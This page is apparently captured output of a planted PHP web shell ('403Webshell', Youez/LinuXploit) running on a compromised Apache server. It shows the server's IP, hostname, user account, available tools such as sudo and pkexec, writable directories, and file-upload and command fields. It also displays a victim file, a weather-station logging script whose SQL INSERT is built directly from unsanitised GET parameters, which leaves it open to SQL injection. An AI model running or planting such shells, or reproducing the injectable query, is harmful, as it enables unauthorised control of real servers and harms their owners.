403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rasinweb/vtg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rasinweb/vtg/db-meteo.php
<!DOCTYPE html>
<!--
******************************
 Project: IS VetroIng, 2023.
 Version: 23-04-08
 Author : TIM/M.Kukic
 Note   :
******************************
-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='shortcut icon' type='image/png' href='favicon.png'/>
<title>VetroIng</title>
</head>
<body>

<?php
/*
http://mkukic.rf.gd/isvtg/db-meteo.php?awsid=AWS0&pres=993.7&temp=4.3&humi=35.0&humi=35.0&wind=5.0&sunl=50
http://192.168.213.25/www/isvtg/db-meteo.php?awsid=AWS0&pres=993.7&temp=4.3&humi=35.0&humi=35.0&wind=5.0&sunl=50
*/
include "config.php";
//
$awsid = $_GET["awsid"];
$pres  = $_GET["pres"];
$temp  = $_GET["temp"];
$humi  = $_GET["humi"];
$wind  = $_GET["wind"];
$sunl   = $_GET["sunl"];
//
If ($awsid=="") {$awsid="0000";}
If ($pres=="") {$pres=0.0;}
If ($temp=="") {$temp=0.0;}
If ($humi=="") {$humi=0.0;}
If ($wind=="") {$wind=0.0;}
If ($sunl=="") {$sunl=0.0;}
//
$ok="No!";
$sql = "INSERT INTO metvtg (id,awsid,dattim,pres,temp,humi,wind,sunl) VALUES ('0','$awsid',NOW(),'$pres','$temp','$humi','$wind','$sunl')";
//
if ($vap==5) {
		$result = mysql_query($sql, $dbh) or die(mysql_error($dbh));
		mysql_close($dbh);
		$ok="Yes!";
}
//
if ($vap==7) {
		$result = mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
		mysqli_close($dbh);
		$ok="Yes!";
}
//
echo "Status: ".$ok;
//
echo "<h3>OK!</h3>";
echo "</body>";

include "db-close.php";	

?> 
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit